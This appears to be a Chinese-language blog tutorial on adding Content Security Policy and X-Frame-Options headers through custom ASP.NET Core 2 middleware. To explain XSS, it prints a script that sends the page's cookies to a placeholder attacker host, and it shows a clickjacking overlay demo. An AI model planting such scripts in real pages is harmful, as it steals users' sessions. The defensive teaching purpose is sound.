[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy)

-- Pageviews

跨網站腳本 (Cross-Site Scripting, XSS) 攻擊是常見的攻擊手法,有效的阻擋方式是透過網頁內容安全政策 (Content Security Policy, CSP) 規範,告知瀏覽器發出的 Request 位置是否受信任,阻擋非預期的對外連線,加強網站安全性。
本篇將介紹 ASP.NET Core 自製 CSP Middleware 防止 XSS 攻擊。
另外,做範例的過程中,剛好發現 iT 邦幫忙 沒有擋 Clickjacking,所以就順便補充。

iT 邦幫忙 2018 鐵人賽 - Modern Web 組參賽文章:
[Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy)

XSS 介紹

攻擊者可能透過任何形式的漏洞,在網站中安插惡意的程式碼,例如:

1
2
3
4
5
<script>
var req = new XMLHttpRequest();
req.open("GET", "https://attacker.johnwu.cc?cookie="+document.cookie);
req.send();
</script>

當使用者開啟頁面,Cookie 就被送走了。情境如下:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - XSS 介紹

CSP 介紹

CSP 是瀏覽器提供網站設定白名單的機制,網站可以告知瀏覽器,該網頁有哪些位置可以連、哪些位置不能連。現行大部分的瀏覽器都有支援 CSP,可以從 Can I use Content Security Policy 查看支援的瀏覽器及版本。

CSP 的設定方式有兩種:

  1. HTTP Header 加入 Content-Security-Policy: {Policy}
    當有不符合安全政策的情況,瀏覽器就會提報錯誤, 並終止該行為執行
  2. HTTP Header 加入 Content-Security-Policy-Report-Only: {Policy}
    當有不符合安全政策的情況,瀏覽器就會提報錯誤, 但會繼續執行

    主要用於測試用,怕網站直接套上 CSP 導致功能不正常。

  3. HTML 加入 <meta>
    在 HTML <head> 區塊加入 <meta http-equiv="Content-Security-Policy" content="{Policy}">
    當有不符合安全政策的情況,瀏覽器就會提報錯誤, 並終止該行為執行

    <meta> 的方式不支援 Report-Only 的方式。

CSP 範例

建立一個簡單的範例 HTML,分別載入內外部資源,如下:

Views/Home/Index.cshtml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<!DOCTYPE html>
<html>

<head>
<meta name="viewport" content="width=device-width" />
<title>CSP Sample</title>

<link rel="stylesheet" href="/css/fonts.css?csp-sample" />
<link rel="stylesheet" href="https://blog.johnwu.cc/css/fonts.css?csp-sample" />
</head>

<body>
<h1>CSP Sample</h1>
<table>
<tr>
<th>類別</th>
<th>內部資源</th>
<th>外部資源</th>
</tr>
<tr>
<td>圖片</td>
<td>
<img width="100" src="/images/icon.png?csp-sample" />
</td>
<td>
<img width="100" src="https://blog.johnwu.cc/images/icon.png?csp-sample" />
</td>
</tr>
<tr>
<td>IFrame</td>
<td>
<iframe width="180" height="180" src="/home/iframe?csp-sample"></iframe>
</td>
<td>
<iframe width="180" height="180" src="https://ithelp.ithome.com.tw?csp-sample"></iframe>
</td>
</tr>
</table>
<script src="/js/jquery-2.2.4.min.js?csp-sample"></script>
<script src="https://blog.johnwu.cc/js/lib/jquery-2.2.4.min.js?csp-sample"></script>
</body>

</html>

在未使用 CSP 前,內容都是可以正常顯示,輸出畫面如下:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - 未使用 CSP 範例

Startup.Configure 註冊一個 Pipeline,把每個 Requset 都加上 CSP 的 HTTP Header,如下:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
using Microsoft.AspNetCore.Builder;
using Microsoft.Extensions.DependencyInjection;

namespace MyWebsite
{
public class Startup
{
public void ConfigureServices(IServiceCollection services)
{
services.AddMvc();
}

public void Configure(IApplicationBuilder app)
{
app.Use(async (context, next) =>
{
context.Response.Headers.Add(
"Content-Security-Policy",
"style-src https:; img-src 'self'; frame-src 'none'; script-src 'self';"
);
await next();
});
app.UseStaticFiles();
app.UseMvcWithDefaultRoute();
}
}
}

套用 CSP 後,輸出畫面如下:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - 使用 CSP 範例

CSP 指令 (Directives)

上圖套用 CSP 後,連內部的 IFrame 都不顯示,主要是因為 CSP 指令的關係。
CSP 指令可以限制發出 Request 獲取資源的類型以及位置,指令的使用格式如下:

1
2
Response Headers
Content-Security-Policy: {CSP 指令} {位置}; {CSP 指令} {位置} {..位置..} {位置};

; 區分多個指令,以空格區分多個白名單位置。

常用的 CSP 指令如下:

  • default-src
    預設所有類型的載入都使用這個規則。
  • connect-src
    載入 Ajax、Web Socket 套用的規則。
  • font-src
    載入字型套用的規則。
  • frame-src
    載入 IFrame 套用的規則。
  • img-src
    載入圖片套用的規則。
  • media-src
    載入影音標籤套用的規則。如:<audio><video>等。
  • object-src
    載入非影音標籤物件套用的規則。如:<object><embed><applet>等。
  • script-src
    載入 JavaScript 套用的規則。
  • style-src
    載入 Stylesheets (CSS) 套用的規則。
  • report-uri
    當瀏覽器發現 CSP 安全性問題時,就會提報錯誤給 report-uri 指定的網址。
    若使用 Content-Security-Policy-Report-Only 就需要搭配 report-uri

    強烈建議使用回報功能,當被 XSS 攻擊時才會知道。

其他 CSP 指令可以參考 W3C 的 CSP 規範

每個 CSP 指令可以限制一個或多個能發出 Request 的位置,設定參數如下:

  • *
    允許對任何位置發出 Request。
    如:default-src *;,允許載入來自任何地方、任何類型的資源。
  • 'none'
    不允許對任何位置發出 Request。
    如:media-src 'none';,不允許載入影音標籤。
  • 'self' 只允許同網域的位置發出 Request。
    如:script-src 'self';,只允許載入同網域的 *.js
  • URL
    指定允許發出 Request 的位置,可搭配 * 使用。
    如:img-src http://cdn.johnwu.cc https:;,只允許從 http://cdn.johnwu.cc 或其他 HTTPS 的位置載入 *.css

建立 CSP Middleware

上述 CSP 套用在 Header 的格式實在很容易打錯字,而且又是弱型別,日後實在不易維護。
所以可以自製一個 CSP Middleware 來包裝這 CSP,方便日後使用。

把 CSP 指令都變成強行別,如下:

  • CspDirective.cs

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    public class CspDirective
    {
    private readonly string _directive;

    internal CspDirective(string directive)
    {
    _directive = directive;
    }
    private List<string> _sources { get; set; } = new List<string>();
    public virtual CspDirective AllowAny() => Allow("*");
    public virtual CspDirective Disallow() => Allow("'none'");
    public virtual CspDirective AllowSelf() => Allow("'self'");
    public virtual CspDirective Allow(string source)
    {
    _sources.Add(source);
    return this;
    }
    public override string ToString() => _sources.Count > 0
    ? $"{_directive} {string.Join(" ", _sources)}; " : "";
    }
  • CspOptions.cs

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    public class CspOptions
    {
    public bool ReadOnly { get; set; }
    public CspDirective Defaults { get; set; } = new CspDirective("default-src");
    public CspDirective Connects { get; set; } = new CspDirective("connect-src");
    public CspDirective Fonts { get; set; } = new CspDirective("font-src");
    public CspDirective Frames { get; set; } = new CspDirective("frame-src");
    public CspDirective Images { get; set; } = new CspDirective("img-src");
    public CspDirective Media { get; set; } = new CspDirective("media-src");
    public CspDirective Objects { get; set; } = new CspDirective("object-src");
    public CspDirective Scripts { get; set; } = new CspDirective("script-src");
    public CspDirective Styles { get; set; } = new CspDirective("style-src");
    public string ReportURL { get; set; }
    }

然後建立 CSP 的 Middleware,如下:

CspMiddleware.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class CspMiddleware
{
private readonly RequestDelegate _next;
private readonly CspOptions _options;

public CspMiddleware(RequestDelegate next, CspOptions options)
{
_next = next;
_options = options;
}

private string Header => _options.ReadOnly
? "Content-Security-Policy-Report-Only" : "Content-Security-Policy";

private string HeaderValue
{
get
{
var stringBuilder = new StringBuilder();
stringBuilder.Append(_options.Defaults);
stringBuilder.Append(_options.Connects);
stringBuilder.Append(_options.Fonts);
stringBuilder.Append(_options.Frames);
stringBuilder.Append(_options.Images);
stringBuilder.Append(_options.Media);
stringBuilder.Append(_options.Objects);
stringBuilder.Append(_options.Scripts);
stringBuilder.Append(_options.Styles);
if (!string.IsNullOrEmpty(_options.ReportURL))
{
stringBuilder.Append($"report-uri {_options.ReportURL};");
}
return stringBuilder.ToString();
}
}

public async Task Invoke(HttpContext context)
{
context.Response.Headers.Add(Header, HeaderValue);
await _next(context);
}
}

再用一個靜態方法包 CSP Middleware,方便註冊使用,如下:

CspMiddlewareExtensions.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
public static class CspMiddlewareExtensions
{
public static IApplicationBuilder UseCsp(this IApplicationBuilder app, CspOptions options)
{
return app.UseMiddleware<CspMiddleware>(options);
}
public static IApplicationBuilder UseCsp(this IApplicationBuilder app, Action<CspOptions> optionsDelegate)
{
var options = new CspOptions();
optionsDelegate(options);
return app.UseMiddleware<CspMiddleware>(options);
}
}

把原本註冊在 Startup.Configure 的 Pipeline 改成用 UseCsp 註冊,如下:

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
using Microsoft.AspNetCore.Builder;
using Microsoft.Extensions.DependencyInjection;

namespace MyWebsite
{
public class Startup
{
public void ConfigureServices(IServiceCollection services)
{
services.AddMvc();
}

public void Configure(IApplicationBuilder app)
{
// app.Use(async (context, next) =>
// {
// context.Response.Headers.Add(
// "Content-Security-Policy",
// "style-src https:; img-src 'self'; frame-src 'none'; script-src 'self';"
// );
// await next();
// });
app.UseCsp(options =>
{
options.Styles.Allow("https:");
options.Images.AllowSelf();
options.Frames.Disallow();
options.Scripts.AllowSelf();
});
app.UseStaticFiles();
app.UseMvcWithDefaultRoute();
}
}
}

一樣的 CSP 規則,強行別的註冊方式看起來感覺清爽多了。

Clickjacking 攻擊

Clickjacking 是一種透過 IFrame 的偽裝攻擊方式。
攻擊者可以透過嵌入被攻擊目標網頁,偽裝成目標網頁,進而攔截使用者的資料。如下圖:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - Clickjacking 攻擊

紅色框現內的 IFrame 用 iT 邦幫忙 的頁面,然後在 Main Frame 透過 JavaScript 攔截使用者的操作事件,範例程式碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<head>
<meta name="viewport" content="width=device-width" />
<title>Clickjacking Sample</title>
<style>
iframe {
width: 98%;
height: 75%;
}

.cover {
position: absolute;
top: 65px;
width: 98%;
height: 75%;
background-color: rgba(255, 0, 0, .3);
}
</style>
<script>
var doSomething = function () {
alert("你以為你在點誰?");
};
</script>
</head>

<body>
<h1>Clickjacking Sample</h1>
<div class="cover" onclick="doSomething();"></div>
<iframe src="https://ithelp.ithome.com.tw/"></iframe>
</body>

</html>

當使用者以為點擊到被攻擊目標,實際上點到的是偽裝的網站,如圖:

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - Clickjacking 攻擊

X-Frame-Options

Clickjacking 攻擊可以透過 CSP 的 frame-ancestors 防範,但似乎還不是所有瀏覽器都支援 frame-ancestors,較通用的方式是在 HTTP Header 加上 X-Frame-Options,通知瀏覽器該頁面是否能被當作 IFrame 使用。
延伸上面 CSP Middleware 的範例,建立一個 FrameOptionsDirective.cs 繼承 CspDirective,如下:

FrameOptionsDirective.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class FrameOptionsDirective : CspDirective
{
public FrameOptionsDirective() : base("frame-ancestors")
{

}
public string XFrameOptions { get; private set; }
public override CspDirective AllowAny()
{
XFrameOptions = "";
return base.AllowAny();
}
public override CspDirective Disallow()
{
XFrameOptions = "deny";
return base.Disallow();
}
public override CspDirective AllowSelf()
{
XFrameOptions = "sameorigin";
return base.AllowSelf();
}
public override CspDirective Allow(string source)
{
XFrameOptions = $"allow-from {source}";
return base.Allow(source);
}
}

CspOptions.cs

1
2
3
4
5
public class CspOptions
{
// ...
public FrameOptionsDirective FrameAncestors { get; set; } = new FrameOptionsDirective();
}

CspMiddleware.cs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class CspMiddleware
{
private string HeaderValue
{
get
{
// ...
stringBuilder.Append(_options.FrameAncestors);
return stringBuilder.ToString();
}
}

public async Task Invoke(HttpContext context)
{
context.Response.Headers.Add(Header, HeaderValue);
if (!string.IsNullOrEmpty(_options.FrameAncestors.XFrameOptions))
{
context.Response.Headers.Add("X-Frame-Options", _options.FrameAncestors.XFrameOptions);
}
await _next(context);
}
}

Startup.cs

1
2
3
4
5
6
7
8
9
10
11
12
public class Startup
{
public void Configure(IApplicationBuilder app)
{
app.UseCsp(options =>
{
// ...
options.FrameAncestors.Allow("https://blog.johnwu.cc");
});
// ...
}
}

X-Frame-Options 不支援多個網域,如果要設定多個網域,建議搭配著 CSP 的 frame-ancestors 使用。

設定完成後,當被未允許的 Domain 嵌入為 IFrame 頁面時,瀏覽器就提報錯誤。
把上面範例程式碼的 IFrame URL 改為 https://www.google.com.tw/
Google 有設定 X-Frame-Optionssameorigin ,所以會產生錯誤訊息,如下:

Refused to display ‘https://www.google.com.tw/‘ in a frame because it set ‘X-Frame-Options’ to ‘sameorigin’.

[鐵人賽 Day27] ASP.NET Core 2 系列 - 網頁內容安全政策 (Content Security Policy) - X-Frame-Options

參考

USING CSP HEADER IN ASP.NET CORE 2.0
Content Security Policy Level 3
Content-Security-Policy - HTTP Headers 的資安議題 (2)
[翻譯] 我是這樣拿走大家網站上的信用卡號跟密碼的(推薦閱讀)